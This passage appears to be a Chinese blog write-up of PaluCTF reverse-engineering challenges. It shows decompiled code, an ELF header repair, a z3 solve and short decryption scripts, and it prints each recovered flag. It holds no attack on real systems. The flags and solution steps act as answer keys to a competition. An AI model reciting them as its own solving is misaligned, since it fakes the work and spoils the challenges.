    R ^= key
    R = -R * R * 2024 % MOD  # R**2 => R*R
    R = R * key % MOD
    return R

flag = input('Welcome To PaluCTF!\nInput FLAG:')
m = bytes_to_long(flag.encode())
cor = 0x2E441F765514CCA89173554726494D37E9FBE774B6F807BC5F6E71117530CE3D7DB5F70554C03CD9055F4E42969600904DF1F4DB8
if enc(m) == cor:
    print('Congratulation!')
    return None
print('Wrong FLAG!')

用z3解出key

from z3 import *

s = Solver()
key = BitVec('key', 418)
s.add(enc(key) == cor)
s.check()
s.model()
#[key = 56006392793429433699362054746857211947342229695176108896172031696188789774216665112129816951245595005]
key = 56006392793429433699362054746857211947342229695176108896172031696188789774216665112129816951245595005
from Crypto.Util.number import *
long_to_bytes(key)
#b'flag{e88f88d7-4d75-462b-8447-bf4ab7aeab1a}'

O2 Optimization

elf文件,但是ida打不开,找个正常的elf对比一下改第5字节。然后得到加密流程。

#1,修改ELF文件头,将第4字节4改为2(64位程序)
#2,sub_2430() 将数据放入 obj,unk_5360,qword_5340
int sub_2430()
{
  char v1[41]; // [rsp+Fh] [rbp-29h] BYREF

  sub_2A20(&obj, "364d4d5c3e387e00421c597a0a7302144d5b70087e064619567336297d151f56770a7935424f2a780643", v1);
  __cxa_atexit((void (__fastcall *)(void *))&std::string::~string, &obj, &off_50D8);
  sub_2A20(&unk_5360, "flag{Is_This_Real?}", v1);
  __cxa_atexit((void (__fastcall *)(void *))&std::string::~string, &unk_5360, &off_50D8);
  sub_2A20(&qword_5340, "PaluCTF", v1);
  return __cxa_atexit((void (__fastcall *)(void *))&std::string::~string, &qword_5340, &off_50D8);
}
#3,main流程
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  ...
  std::operator<<<std::char_traits<char>>(&std::cout, "Check Flag:", v9);
  std::operator>><char>(&std::cin, &unk_5360);  // 输入flag
  sub_25C0(v17, &unk_5360, &qword_5340);        // 加密
  v10 = n;
  v11 = qword_5388;
  v12 = qword_5388;
  if ( n <= qword_5388 )
    v12 = n;
  if ( v12 && memcmp(s1, obj, v12) || (v13 = v10 - v11, v13 > 0x7FFFFFFF) || v13 < (__int64)0xFFFFFFFF80000000LL )    //与obj比较
  {
    std::string::_M_dispose(&s1);
    goto LABEL_14;
  }
  ...
}
#4,加密
__int64 *__fastcall sub_25C0(__int64 *a1, char **a2, _QWORD *a3)
{
  ...

  v3 = a1 + 2;
  *((_BYTE *)a1 + 16) = 0;
  *a1 = (__int64)(a1 + 2);
  v4 = *a2;
  a1[1] = 0LL;
  v13 = &a2[1][(_QWORD)v4];
  if ( v4 != v13 )
  {
    v6 = 0LL;
    v7 = 0;
    while ( 1 )
    {
      v9 = v6 + 1;
      v12 = (*v4 + *(char *)(*a3 + v7)) % 128;  //a2明文 a3 key c=(a2[i]+key[i])%128
      v10 = a1 + 2 == v3 ? 15LL : a1[2];
      if ( v10 < v9 )
      {
        std::string::_M_mutate(a1, v6, 0LL, 0LL, 1LL);
        v3 = (__int64 *)*a1;
      }
      ++v4;
      *((_BYTE *)v3 + v6) = v12;  // a1[i] = c
      v8 = *a1;
      a1[1] = v9;
      *(_BYTE *)(v8 + v9) = 0;
      v7 = (unsigned __int64)(v7 + 1) % a3[1];
      if ( v13 == v4 )
        break;
      v6 = a1[1];
      v3 = (__int64 *)*a1;
    }
  }
  return a1;
}

这个加密部分看上去非常看不懂,能看懂的只有一句:(m[i]+key[i])%128 

然后直接拿这句解密就行了。

a = bytes.fromhex("364d4d5c3e387e00421c597a0a7302144d5b70087e064619567336297d151f56770a7935424f2a780643")
key = b"PaluCTF"
bytes([(a[i]-key[i%7])%128 for i in range(len(a))])
b'flag{d80a0d76-23af-486e-a0bc-43a463eac552}'

帕鲁被病毒感染了

还以为真是病毒,比赛的时候都没打开。

一个png文件,这应该是misc走错门了吧。修改高度可以显示密码。解开压缩包。从一大堆文件里找,找到一个串。到此为止完全是misc的内容。

THIS IS WHAT YOU ARE LOOKING FOR:    0n3_n00b_ru1n5_0n3_hundr3d_pr05

Reverse-签到

就是因为这个题才没认真作。烤打出题人啊!

程序逻辑看不清,太复杂了。从一个文件local.txt读加密后写到encrypted.txt

将一个码表写入local.txt然后运行程序可以得到加密码表,并且与位置无关。显然只是替换加密,但显然是多对一的关系,因为码表有重复。8字节重复就是256个解。(密文里的0和6分别对应03和19)

enc = 'jmdiz61904646906034535196{'

dic1 = 'dbcdejihijkmmnopqrstuvwxyz0690123456_-+z{'
dic2 = 'abcdefghijklmnopqrstuvwxyz0123456789_-+{}'

''.join([dic2[dic1.index(i)] for i in enc])
#'flagz14207171201067868421}'

后问别人说出题人说题目有问题,这题是逆向里解第3多的:14解,细思极恐!!!

  • 23
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值